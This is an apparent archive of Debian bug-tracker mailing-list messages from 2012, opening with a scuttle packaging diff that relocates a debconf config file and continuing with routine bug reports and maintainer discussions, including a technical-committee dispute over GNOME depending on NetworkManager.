scuttle (0.7.4-7) unstable; urgency=low
* Added Italian debconf template translation (Closes: #665703)
diff -u scuttle-0.7.4/debian/scuttle.install scuttle-0.7.4/debian/scuttle.install
--- scuttle-0.7.4/debian/scuttle.install
+++ scuttle-0.7.4/debian/scuttle.install
@@ -22 +22 @@
-debian/config_debconf.inc.php var/lib/scuttle/
+debian/config_debconf.inc.php usr/share/scuttle/
diff -u scuttle-0.7.4/debian/config.inc.php.diff scuttle-0.7.4/debian/config.inc.php.diff
--- scuttle-0.7.4/debian/config.inc.php.diff
+++ scuttle-0.7.4/debian/config.inc.php.diff
@@ -21,7 +21,7 @@
+# $locale and $adminemail at
+# /var/cache/scuttle/config_debconf.php
-+include_once('/var/lib/scuttle/config_debconf.inc.php');
++include_once('/etc/scuttle/config_debconf.inc.php');
+
$sitename = 'Scuttle';
-$locale = 'en_GB';
diff -u scuttle-0.7.4/debian/config_debconf.inc.php scuttle-0.7.4/debian/config_debconf.inc.php
--- scuttle-0.7.4/debian/config_debconf.inc.php
+++ scuttle-0.7.4/debian/config_debconf.inc.php
@@ -1,13 +1,6 @@
?
-### This file is automatically generated by scuttle
-#
-# Please do not edit this file directly. If you want to change or add
-# anything please take a look at /etc/scuttle/config.inc.php
-#
-###
-
$adminemail = 'ad...@example.org';
-$locale = 'en_GB'
+$locale = 'en_GB';
?
diff -u scuttle-0.7.4/debian/scuttle.postrm scuttle-0.7.4/debian/scuttle.postrm
--- scuttle-0.7.4/debian/scuttle.postrm
+++ scuttle-0.7.4/debian/scuttle.postrm
@@ -43,12 +43,17 @@
fi
# permissions - config file
- CONFIG_FILE=/var/lib/scuttle/config_debconf.inc.php
+ CONFIG_FILE=/etc/scuttle/config_debconf.inc.php
CONFIG_AUX=$(dpkg-statoverride --list | grep $CONFIG_FILE) || true
if [ -z $CONFIG_AUX ]; then
dpkg-statoverride --remove $CONFIG_FILE
fi
+rm -f $CONFIG_FILE
+if which ucf /dev/null 21; then
+ucf --purge $CONFIG_FILE
+fi
+
# remove scuttle cache dir
rm -rf /var/cache/scuttle
fi
diff -u scuttle-0.7.4/debian/scuttle.postinst scuttle-0.7.4/debian/scuttle.postinst
--- scuttle-0.7.4/debian/scuttle.postinst
+++ scuttle-0.7.4/debian/scuttle.postinst
@@ -18,19 +18,16 @@
if [ -z $CACHE_AUX ]; then
dpkg-statoverride --update --add root www-data 0774 $CACHE_DIR
fi
-
- # config file debconf
- CONFIG_FILE=/var/lib/scuttle/config_debconf.inc.php
- CONFIG_AUX=$(dpkg-statoverride --list | grep $CONFIG_FILE) || true
- if [ -z $CONFIG_AUX ]; then
- dpkg-statoverride --update --add root www-data 0640 $CONFIG_FILE
- fi
+ # config file debconf
+ CONFIG_TEMPLATE=/usr/share/scuttle/config_debconf.inc.php
+ CONFIG_FILE=/etc/scuttle/config_debconf.inc.php
+ CONFIG_TMP=/etc/scuttle/config_debconf.inc.php.dpkg-new
# set admin email in config file
ADMIN_EMAIL=\$_SERVER['SERVER_ADMIN'];
if [ -n $ADMIN_EMAIL ] ; then
- sed -e s/adminemail[^;]*/adminemail = $ADMIN_EMAIL/ -i $CONFIG_FILE
+ sed -e s/adminemail[^;]*/adminemail = $ADMIN_EMAIL/ $CONFIG_TEMPLATE $CONFIG_TMP
fi
# debconf messages
@@ -39,7 +36,14 @@
# set locale in config file
if [ -n $LOCALE ] ; then
- sed -e s/locale[^;]*/locale = '$LOCALE'/ -i $CONFIG_FILE
+ sed -e s/locale[^;]*/locale = '$LOCALE'/ $CONFIG_TEMPLATE $CONFIG_TMP
+ fi
+
+ ucf --debconf-ok $CONFIG_TMP $CONFIG_FILE rm -f $CONFIG_TMP
+
+ CONFIG_AUX=$(dpkg-statoverride --list | grep $CONFIG_FILE) || true
+ if [ -z $CONFIG_AUX ]; then
+ dpkg-statoverride --update --add root www-data 0640 $CONFIG_FILE
fi
# source dbconfig-common stuff
signature.asc
Description: This is a digitally signed message part
Bug#691297: [Pkg-xfce-devel] Bug#691297: xfce4-netload-plugin: Please release the plugin consistent with and of same quality as other XFCE 4.8 plugins
V Wed, 24 Oct 2012 07:18:08 +0200 Yves-Alexis Perez cor...@debian.org napsal: On mer., 2012-10-24 at 02:38 +0200, Petr Gajdusek wrote: Please, consider including them to wheezy. I don't think that has a chance to pass release team gate, to be honest. OK, I was somewhat expecting this. Without any experiences with freezing policy I wasn't just sure. I am planning to use Wheezy in my desktop and I will use 4.10 backported anyway, so no tragedy for me. Just to the six patches: The last 2 are not important and from the first four, I think, the 0004-Properly-set-padding-and-border-width.patch is most important, as it fixes issues that cannot be worked around. Issues triggered by panel orientation change can be manually fixed by restarting the panel and the context menu is hopefully always accessible by right-clicking on plugin border or via the panel properties. Cheers, Petr -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691306: Bug #691306: iptables add 4 rules instead just one in kernel INPUT chain
iptables is supposed to write a rule for each of a hostname's IP addresses. iptables -A INPUT --source www.google.com gives me six rules for the six IP addresses. Adding --source www.google.com bumps that up to thirty-six rules. I'm uncertain of the issue with duplicate addresses for localhost. I'll ask upstream if iptables should filter out duplicates. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#659186: Debian bug 659186, new patch, ia64 libmozjs185
On 25.10.2012 12:38, Émeric Maschino wrote: Nice :-) Will this be forwarded upstream too? I think that generic (i.e. not Debian-packaged) mozjs185 is affected. This is at least also the case with Gentoo ia64. TBH, I don't know who maintains the mozjs185 branch/fork and where the upstream bug tracker for that is. Unfortunately, mozjs185 looks pretty much unmaintained :-/ Michael -- Why is it that all of the instruments seeking intelligent life in the universe are pointed away from Earth? signature.asc Description: OpenPGP digital signature
Bug#691429: RFP: gkamus -- Simple English - Indonesia Dictionary
Package: wnpp Severity: wishlist * Package name: gkamus Version : 1.0 Upstream Author : Ardhan Madras aj...@knac.com * URL : http://gkamus.sourceforge.net * License : GPL version 2 Programming Lang: C and GTK+ Description : Simple English - Indonesia Dictionary -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690748: laptop-mode-tools: enabling Laptop Mode even if disabled in LMT config
On Tuesday 23 October 2012 02:41 PM, Ritesh Raj Sarraf wrote: On Sunday 21 October 2012 06:50 PM, Jasmine Hassan wrote: Now another issue: $ sudo /etc/init.d/laptop-mode stop [] Disabling laptop mode...mount: /dev/cgroup/cpu is busy done (disabled, not active). Why is LMT messing with /dev/cgroup/cpu? Can you file this as a separate issue? Some assumption about block devices have broken. This should be fixed with what I committed today. Any feedback is welcome. https://github.com/rickysarraf/laptop-mode-tools/blob/master/usr/share/laptop-mode-tools/modules/laptop-mode -- Ritesh Raj Sarraf | http://people.debian.org/~rrs Debian - The Universal Operating System signature.asc Description: OpenPGP digital signature
Bug#672182: libperl-critic-perl: conf-mode for .perlcriticrc
Kevin Ryde wrote (08 May 2012 23:57:13 GMT) : As an idea for a feature, 50libperl-critic-perl.el could set up to use conf-mode on the .perlcriticrc file. I confirm it's a bit nicer in conf-mode than in fundamental-mode. (if (fboundp 'conf-mode) ;; new in emacs22 (add-to-list 'auto-mode-alist '(/\\.perlcriticrc\\' . conf-mode))) In 50libperl-critic-perl.el this could be outside the `file-exists-p' conditional since this setup doesn't use perlcritic.el as such, just the conf-mode.el which comes with emacs (22 and up). Agreed. This works for me: diff --git a/emacs/site-start.d/50libperl-critic-perl.el b/emacs/site-start.d/50libperl-critic-perl.el index 74aa008..f840fab 100644 --- a/emacs/site-start.d/50libperl-critic-perl.el +++ b/emacs/site-start.d/50libperl-critic-perl.el @@ -12,3 +12,7 @@ ;; just offered as options (custom-add-option 'perl-mode-hook 'perlcritic-mode) (custom-add-option 'cperl-mode-hook 'perlcritic-mode)) + +(if (fboundp 'conf-mode) ;; new in emacs22 + (add-to-list 'auto-mode-alist '(/\\.perlcriticrc\\' . conf-mode))) -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691430: RFP: osdlyrics -- Download and show lyrics with your favorite media player
Package: wnpp Severity: wishlist * Package name: osdlyrics Version : 0.4.3 Upstream Author : Tiger Soldier tigerso...@gmail.com, Sarlmol Apple sarlmolap...@gmail.com, Simply Zhao simplyz...@gmail.com * URL : http://code.google.com/p/osd-lyrics/ * License : GPL version 3 Description : Download and show lyrics with your favorite media player -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#687620: RFS: udpxy/1.0.23-1 [ITP]
On Fri, Sep 14, 2012 at 09:22:46PM +1100, Alex 'AdUser' Z wrote: WNPP request are here : http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=687543 Package uploaded just now : https://mentors.debian.net/package/udpxy So I had a look at your package version 1.0.23-1 as found on mentors.debian.net. So here are some notes. The long description of your package looks suspiciously short. This is not a problem, if it says all that needs to be said. However some bits are missing. Please try to answer the following questions inside the long description: 1) What are example use cases? 2) Does a client to this proxy need special capabilities? 3) Do multicast streams have to be configured with the daemon or can they be configured from the client? Your copyright file mentions the location of the GPL-2, why don't you mention the location of the GPL-3 as well? You don't mention your full name and especially don't do so in the copyright file. In some jurisdictions attributions to pseudonyms are allowed, but they are not without problems. I cannot tell whether the Debian project can redistribute your packaging as is. In addition the Debian community has a history of using real names. Not mentioning yours will make finding a sponsor harder. Your destdir patch solves the issue for Debian, but it would be nicer, if it would add $PREFIX as well. Then you can prod upstream to include the patch and drop it yourself. Why do you patch in a distclean target? dh_auto_clean should be able to figure out that it does not exist and use clean instead. Please explain why this does not work in the patch header. A watch file seems missing. Since the project is hosted at sourceforge adding one should be easy. The documentation shipped with the package seems to be lacking as well. A manual page seems completely absent. Could you write one? The daemon is interfacing with the network. As such wheezy's hardening release goal is applicable here (even though the package will not be part of wheezy). Getting hardening working is a bit of work. You'll probably have to patch more of the Makefile. It seems like your package provides an architecture independent interface (i.e. command line and network) to other packages. As such you could probably be adding a Multi-Arch: foreign header. I'd say the most important steps are adding documentation and getting the hardening running. Once these issues are solved the package seems like a good addition, because it solves a task no other package solves yet. Thanks for your work. Helmut -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691431: localepurge: manual editing + dpkg-reconfigure = confusion + pain
Package: localepurge Version: 0.6.3 Severity: normal Dear Maintainer, I just ran dpkg-reconfigure localepurge after having previously edited /etc/locale.nopurge by hand, and found the experience fairly confusing. Rather than offering the current settings from /etc/locale.nopurge as the default choices, it offered what I can only assume to be the values I chose the last time I configured it using the debconf interface. Then, after I'd gone through all the options, I was given what I now know to be a ucf(1) menu about a conflict between the maintainer version and the local version of /etc/locale.nopurge. So I picked the open a shell choice, planning to take a look in Emacs ... and was told that neither an X $DISPLAY nor a terminal was available, which was kind of confusing to me given that I was using an obviously terminal-based menu interface to decide what to do! (Then I noticed, with the help of ps f -t TTY-for-dpkg-reconfigure, that ucf(1) and whiptail(1) were BOTH running, as siblings, and figured out that ucf must be using some kind of IPC to display the menu.) And, of course, when I eventually just installed the maintainer version, the -*- conf -*- cookie that I had added for Emacs was gone. Summary of issues: == 1. The debconf script takes it's defaults from the debconf database, rather than parsing /etc/locale.nopurge 2. ucf(1) refers to the new locale.nopurge file as the maintainer version, even though it was just generated by the debconf script. 3. ucf(1) fails to open a shell when there is no $DISPLAY (when run under debconf with --debconf-ok) (I suppose the -*- conf -*- cookie thing is a temporary issue, owing to the fact that there was no stored previous maintainer version to use in a 3-way merge?) Analysis: = It doesn't look like anything can be done about issue 2 yet; ucf(1) would need a way to to customize the term it uses for New File. Issue 3 would go away if you used the old, crufty way of invoking ucf from a debconf script, but that would be crufty. I don't know how hard it would be to solve issue 1. Proposal Add a note at the top of /etc/locale.nopurge that mixing manual editing and debconf-based editing leads to confusing results. (Of course, if you would rather fix the confusing results, or add a note now and fix the confusing results later, that'd work nicely as well.) Report ucf bugs for issues 2 and/or 3? (Perhaps cloning this one?) -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 3.2.0-4-686-pae (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages localepurge depends on: ii debconf [debconf-2.0] 1.5.46 pn localesnone ii procps 1:3.3.3-2 ii ucf3.0025+nmu3 localepurge recommends no packages. Versions of packages localepurge suggests: pn bleachbit none pn debfoster none ii deborphan 1.7.28.8 -- debconf information: * localepurge/mandelete: false * localepurge/showfreedspace: true * localepurge/quickndirtycalc: true localepurge/remove_no: localepurge/none_selected: false * localepurge/nopurge: en, en.UTF-8, en@boldquot, en@quot, en_AG, en_AU, en_AU.UTF-8, en_BW, en_BW.UTF-8, en_CA, en_CA.UTF-8, en_DK, en_DK.ISO-8859-15, en_DK.UTF-8, en_GB, en_GB.ISO-8859-15, en_GB.UTF-8, en_HK, en_HK.UTF-8, en_IE, en_IE.UTF-8, en_IE@euro, en_IN, en_NG, en_NZ, en_NZ.UTF-8, en_PH, en_PH.UTF-8, en_SG, en_SG.UTF-8, en_US, en_US.ISO-8859-15, en_US.UTF-8, en_ZA, en_ZA.UTF-8, en_ZM, en_ZW, en_ZW.UTF-8 * localepurge/dontbothernew: true * localepurge/verbose: true -- Hi! I'm a .signature virus! Copy me into your ~/.signature to help me spread! -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#592539: [pkg-dhcp-devel] Bug#592539: (isc-dhcp-server: supply additional initscript for IPv6 daemon): Yet another idea how to solve this issue
On Mon, Aug 15, 2011 at 01:20:34PM +0200, Axel Beckert wrote: Hi, I ran into this today, too, so of course I would be happy, too, if one of the suggestions made in this bug report would make it into the Debian package. :-) Before I found the bug report, my idea to solve this was to add another binary package e.g. called isc-dhcp6-server to the source package which just includes the second init.d script and configuration. I though think that Florent Fourcot's solution is the most elegant one and will probably implement it on my Squeeze based DHCP servers. Andrew: Any idea if (or when) upstream will make DHCP for IPv4 and DHCPv6 work in the same instance of dhcpd? No, I don't have any idea unfortunately. I haven't had many spare cycles lately, so I haven't had a chance to engage with the ISC for a while. I'll look to doing so early in the new year. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#592539: [pkg-dhcp-devel] Bug#592539: (isc-dhcp-server: supply additional initscript for IPv6 daemon): Yet another idea how to solve this issue
On Thu, Oct 25, 2012 at 10:13:14AM +0200, Jan Wagner wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi there, On 08/15/2011 01:20 PM, Axel Beckert wrote: I ran into this today, too, so of course I would be happy, too, if one of the suggestions made in this bug report would make it into the Debian package. :-) [...] I though think that Florent Fourcot's solution is the most elegant one and will probably implement it on my Squeeze based DHCP servers. Andrew: Any idea if (or when) upstream will make DHCP for IPv4 and DHCPv6 work in the same instance of dhcpd? is there any reason for not implementing this? As the bug is 2 years old and the lifecycle of wheezy is actually planed ending anywhere in 2016, I'm asking me, if that is conflicting with the IPv6 release goal (which we have since Lenny). Looking into actual requirements in the field, it is needed to run DHCP-servers dualstacked for a long time, at least when wheezy will be released anytime. So ... what is the showstopper for this (in my opinion) legitim and reasonable request? Time mainly. If you can get an advance commitment from the release managers that such a change would be allowed into Wheezy given it's frozen, I'd be more inclined to try and make some time to make it happen now rather than later. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#688772: gnome Depends network-manager-gnome
On Thu, 25 Oct 2012, Josselin Mouette wrote: Le jeudi 25 octobre 2012 à 00:13 +0200, Joerg Jaspert a écrit : On 13009 March 1977, Josselin Mouette wrote: In the current situation, I do not feel bound by any decisions the committee might make. You know, if it really comes to one more CTTE decision around NM and Gnome, which you don't like - the above is a pretty clean resignation from the project. Which would be a shame - but still, directly violating one of our core documents? Seriously? I’m not the one who has violated the Constitution so far. The CTTE, on the other hand, is currently acting in direct violation of Constitution §6.3.6. No discussion was ever attempted after the upload of meta-gnome3 1:3.4+2 which implements the decision for bug#645656. It's true that discussion and consensus building should have happened before any drafting (even if just as a general courtesy.) However, we've been discussing this issue with the attempt to reach consensus or at least some understanding for the past month, and still have yet to even start to make a technical decision. [Not to mention the fact that it stems from an issue which has been discussed extensively for the past six months.] That said, if I'm wrong, and you believe that there is a compromise which would resolve the concerns raised beyond those already presented (status quo with/without release notes), now would be the time to present it. Finally, if you believe the committee to be acting improperly, please point it out. It's easy for us to either change, or if we disagree in the interpretation of the constitution, get the secretary to interpret the constitution for us. [I've gone ahead and put Kurt in the loop so he can Don Armstrong -- I learned really early the difference between knowing the name of something and knowing something -- Richard Feynman What is Science Phys. Teach. 7(6) 1969 http://www.donarmstrong.com http://rzlab.ucr.edu -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691432: libsvm-tools: please, provide the octave interface to libsvm
Package: libsvm-tools
Version: 3.12-1
Severity: wishlist
According to the upstream homepage, the support files of libsvm for
Matlab/Octave are in the source package.
I downloaded the source of the Debian package and they are there, indeed, in
the matlab subdirectory, but the debian/ruless file doesn't build them.
Please, build them (perhaps uploading to experimental) so that those that
need it can use it.
Thanks,
-- System Information:
Debian Release: wheezy/sid
APT prefers unstable
APT policy: (500, 'unstable'), (500, 'testing'), (101, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386
Kernel: Linux 3.5-trunk-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.utf-8, LC_CTYPE=pt_BR.utf-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages libsvm-tools depends on:
ii gnuplot 4.6.0-8
ii libc6 2.13-35
ii libgcc1 1:4.7.2-4
ii libstdc++6 4.7.2-4
ii python 2.7.3-3
libsvm-tools recommends no packages.
libsvm-tools suggests no packages.
-- no debconf information
--
Rogério Brito : rbrito@{ime.usp.br,gmail.com} : GPG key 4096R/BCFC
http://rb.doesntexist.org/blog : Projects : https://github.com/rbrito/
DebianQA: http://qa.debian.org/developer.php?login=rbrito%40ime.usp.br
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691433: ampache: cronjob exits with error after package removal
Package: ampache Version: 3.6-git408e713+dfsg-3.1 Severity: important User: debian...@lists.debian.org Usertags: piuparts Hi, during a test with piuparts I noticed your packages cronjob exits with error after the package has been removed. From the attached log (scroll to the bottom...): 0m32.2s DEBUG: Starting command: ['chroot', '/tmp/piupartss/tmpYlOvSz', 'eatmydata', '/etc/cron.daily/ampache'] 0m32.2s DUMP: /etc/cron.daily/ampache: 31: /etc/cron.daily/ampache: php: not found 0m32.2s ERROR: Command failed (status=127): ['chroot', '/tmp/piupartss/tmpYlOvSz', 'eatmydata', '/etc/cron.daily/ampache'] This is a reappearence of #586647 which was fixed before squeeze. This bug was probably not introduced in the last upload (that fixed another serious problem detected by piuparts), but may have been present for a longer time. piuparts stops testing in most cases once one problem has been found (and therefore didn't see that there are more problems coming) - because subsequent problems often directly depend on the first one found. cheers, Andreas ampache_3.6-git408e713+dfsg-3.1.log.gz Description: GNU Zip compressed data
Bug#623252: stable update of apt-show-versions?
I've been bit by this issue in squeeze, systems that depend on
apt-show-versions to know about upgrades were not upgrading to stable
point releases because of this.
I think that package should be updated in stable-updates itself.
I asked the backports admins about getting it in backports, and they
said that the right course of action is to get it into stable-updates
and they think that it could be put in faster than waiting for the next
stable point release.
For a stable-update I suspect we can only apply the relevant fix, which
is this if I am not mistaken (from svn diff -r51:52):
--- trunk/apt-show-versions (revision 51)
+++ trunk/apt-show-versions (revision 52)
@@ -561,7 +561,7 @@
$pkgfile =~ s{.*/}{};
return undef if ($pkgfile eq 'status');
# Sort according to length so we make the most specfic match
-foreach (keys %releasenames) {
+foreach (sort { length($b) = length($a) } keys %releasenames) {
return $_ if ($_ eq substr($pkgfile, 0, length($_)));
}
# As package file has no release file, create a fallback %releasenames
If you need help with this, I am happy to help. I do think that this
should be fixed soon as there have been a number of stable updates, and
I suppose that if I do not hear a response in a few days I'll upload to
a DELAYED queue.
micah
pgpwJH78qYY9H.pgp
Description: PGP signature
Bug#691434: lives: suggests ffmpeg
Package: lives Severity: normal Dear Maintainer, lives suggests ffmpeg instead of libav-tools, the use of ffmpeg is deprecated. -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (990, 'testing') Architecture: i386 (i686) Kernel: Linux 3.2.0-3-686-pae (SMP w/1 CPU core) Locale: LANG=en_NZ.UTF-8, LC_CTYPE=en_NZ.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#688772: gnome Depends network-manager-gnome
Don Armstrong writes (Bug#688772: gnome Depends network-manager-gnome): On Thu, 25 Oct 2012, Josselin Mouette wrote: I’m not the one who has violated the Constitution so far. The CTTE, on the other hand, is currently acting in direct violation of Constitution §6.3.6. No discussion was ever attempted after the upload of meta-gnome3 1:3.4+2 which implements the decision for bug#645656. It's true that discussion and consensus building should have happened before any drafting (even if just as a general courtesy.) However, we've been discussing this issue with the attempt to reach consensus or at least some understanding for the past month, and still have yet to even start to make a technical decision. [Not to mention the fact that it stems from an issue which has been discussed extensively for the past six months.] Personally I don't see this as a new issue. As you say it stems from the previous issue which seems not to have been fully closed. An alternative interpretation would be that I, wearing my individual hat, referred the matter to the TC. I don't think there's anything in the constitution preventing a TC member from referring a matter to the TC. I think it would have been quite wrong to require one of the original complainants, or a new complainant, to make an explicit referral to the TC of what I consider to be the maintainers' failure to satisfactorily implement the previous TC resolution; or to put it another way, the failure of the previous TC resolution to explicitly rule out an undesirable approach which wasn't anticipated in the previous discussions. And from a practical point of view, I don't think it would be reasonable to expect anyone to voluntarily stick their head above the parapet into the toxic atmosphere surrounding this issue. Ian. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690902: Driver or hardware problem
Is there any way to debug this? I can provide you any information you need to triage.. On Mon, Oct 22, 2012 at 2:35 PM, Anton Gladky gladky.an...@gmail.comwrote: Hello, it looks like driver or hardware problem. I never saw such crash on my machines. Cheers, Anton
Bug#691435: lives: please make mplayer2 alternative dependency
Package: lives Severity: normal Dear Maintainer, please make lives depend on mplayer or mplayer2 -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (990, 'testing') Architecture: i386 (i686) Kernel: Linux 3.2.0-3-686-pae (SMP w/1 CPU core) Locale: LANG=en_NZ.UTF-8, LC_CTYPE=en_NZ.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691436: gnome-shell: network icon in tray shows disconnected even when connected
Package: gnome-shell Version: 3.4.2-2 Severity: normal Dear Maintainer, the network icon shows disconnected status even when it is connected using ethernet. A screenshot will follow. -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (200, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-3-amd64 (SMP w/4 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages gnome-shell depends on: ii dconf-gsettings-backend [gsettings-backend] 0.12.1-2 ii gconf-service3.2.5-1+build1 ii gir1.2-accountsservice-1.0 0.6.21-6 ii gir1.2-atk-1.0 2.4.0-2 ii gir1.2-caribou-1.0 0.4.4-1 ii gir1.2-clutter-1.0 1.10.8-2 ii gir1.2-cogl-1.0 1.10.2-6 ii gir1.2-coglpango-1.0 1.10.2-6 ii gir1.2-folks-0.6 0.6.9-1+b1 ii gir1.2-freedesktop 1.32.1-1 ii gir1.2-gconf-2.0 3.2.5-1+build1 ii gir1.2-gcr-3 3.4.1-3 ii gir1.2-gdesktopenums-3.0 3.4.2-1 ii gir1.2-gdkpixbuf-2.0 2.26.1-1 ii gir1.2-gee-1.0 0.6.4-2 ii gir1.2-gkbd-3.0 3.4.0.2-1 ii gir1.2-glib-2.0 1.32.1-1 ii gir1.2-gmenu-3.0 3.4.2-3 ii gir1.2-gnomebluetooth-1.03.4.2-1 ii gir1.2-gtk-3.0 3.4.2-4 ii gir1.2-json-1.0 0.14.2-1 ii gir1.2-mutter-3.03.4.1-5 ii gir1.2-networkmanager-1.00.9.4.0-6 ii gir1.2-pango-1.0 1.30.0-1 ii gir1.2-polkit-1.00.105-1 ii gir1.2-soup-2.4 2.38.1-2 ii gir1.2-telepathyglib-0.120.18.2-2 ii gir1.2-telepathylogger-0.2 0.4.0-1 ii gir1.2-upowerglib-1.00.9.17-1 ii gjs 1.32.0-2 ii gnome-bluetooth 3.4.2-1 ii gnome-icon-theme-symbolic3.4.0-2 ii gnome-settings-daemon3.4.2+git20120925.a4c817-1 ii gnome-shell-common 3.4.2-2 ii gnome-themes-standard3.4.2-2 ii gsettings-desktop-schemas3.4.2-1 ii libatk1.0-0 2.4.0-2 ii libc62.13-35 ii libcairo-gobject21.12.2-2 ii libcairo21.12.2-2 ii libcanberra0 0.28-5 ii libclutter-1.0-0 1.10.8-2 ii libcogl-pango0 1.10.2-6 ii libcogl9 1.10.2-6 ii libcroco30.6.6-1 ii libdbus-1-3 1.6.8-1 ii libdbus-glib-1-2 0.100-1 ii libebook-1.2-13 3.4.3-1 ii libecal-1.2-11 3.4.3-1 ii libedataserver-1.2-163.4.3-1 ii libedataserverui-3.0-1 3.4.3-1 ii libffi5 3.0.10-3 ii libfolks25 0.6.9-1+b1 ii libgck-1-0 3.4.1-3 ii libgconf-2-4 3.2.5-1+build1 ii libgcr-3-1 3.4.1-3 ii libgdk-pixbuf2.0-0 2.26.1-1 ii libgee2 0.6.4-2 ii libgirepository-1.0-11.32.1-1 ii libgjs0b [libgjs0-libmozjs185-1.0] 1.32.0-2 ii libgl1-mesa-glx [libgl1] 8.0.4-2 ii libglib2.0-0 2.33.12+really2.32.4-2 ii libgnome-keyring03.4.1-1 ii libgnome-menu-3-03.4.2-3 ii libgstreamer0.10-0 0.10.36-1 ii libgtk-3-0 3.4.2-4 ii libical0 0.48-2 ii libjson-glib-1.0-0 0.14.2-1 ii libmozjs185-1.0 1.8.5-1.0.0+dfsg-3.1 ii libmutter0 3.4.1-5 ii libnm-glib4 0.9.4.0-6 ii libnm-util2 0.9.4.0-6 ii libnspr4 2:4.9.2-1 ii libnspr4-0d 2:4.9.2-1 ii libp11-kit0 0.12-3 ii libpango1.0-01.30.0-1 ii libpolkit-agent-1-0
Bug#688772: gnome Depends network-manager-gnome
On 25 October 2012 12:17, Don Armstrong d...@debian.org wrote: That said, if I'm wrong, and you believe that there is a compromise which would resolve the concerns raised beyond those already presented (status quo with/without release notes), now would be the time to present it. My proposal is to: 1. Add a paragraph to the Release Notes with the one line command people should use if they don't want NetworkManager running: update-rc.d disable network-manager 2. And cases where that doesn't work are RC. The advantages of this proposal: 1. Users that don't want NetworkManager messing with their networking configuration can get it and wouldn't have to worry about babysitting upgrades or new installs to make sure that NetworkManager isn't pulled in by some package. 2. Users who've upgraded from Lenny can be sure to have NetworkManager installed and working, which really is far better for most GNOME users than anything else. Those that have opted out previously are given an opportunity to revisit their decision since the circumstances have changed significantly. 3. Wouldn't require a CTTE resolution 4. Would continue to allow the Debian GNOME Team to manage their metapackages based on what GNOME says is required and what the team feel fits best into a standard GNOME desktop. 5. Would not put an implicit duty on the GNOME Team to come before the CTTE every time they intend to change something in their metapackage that might make someone annoyed. The Technical Committee complaining about NetworkManager seems to the GNOME Team to be a bit misplaced. - Why don't they complain about how GNOME3 is significantly different than what was shipped in previous Debian releases? - Why don't they complain about epiphany or iceweasel being a depends which affects far more people in a far more visible way? I mean, have you looked at what the gnome package depends on? evolution, gnome-games, gimp, inkscape, rhythmbox, transmission, etc? And gnome depends on less stuff now than it did for squeeze. - Why not a larger discussion about the role of depends in metapackages? That discussion is obviously too late for Wheezy but it probably should happen well before Jessie is relased. - Shouldn't working and easy to use wireless (aka NetworkManager) be considered part of the basic desktop infrastructure? And users who don't like those decisions being made for them shouldn't use gnome? Jeremy -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691437: libroot-proof-dev: fails to upgrade from 'sid' - trying to overwrite /usr/include/root/TProofOutputFile.h
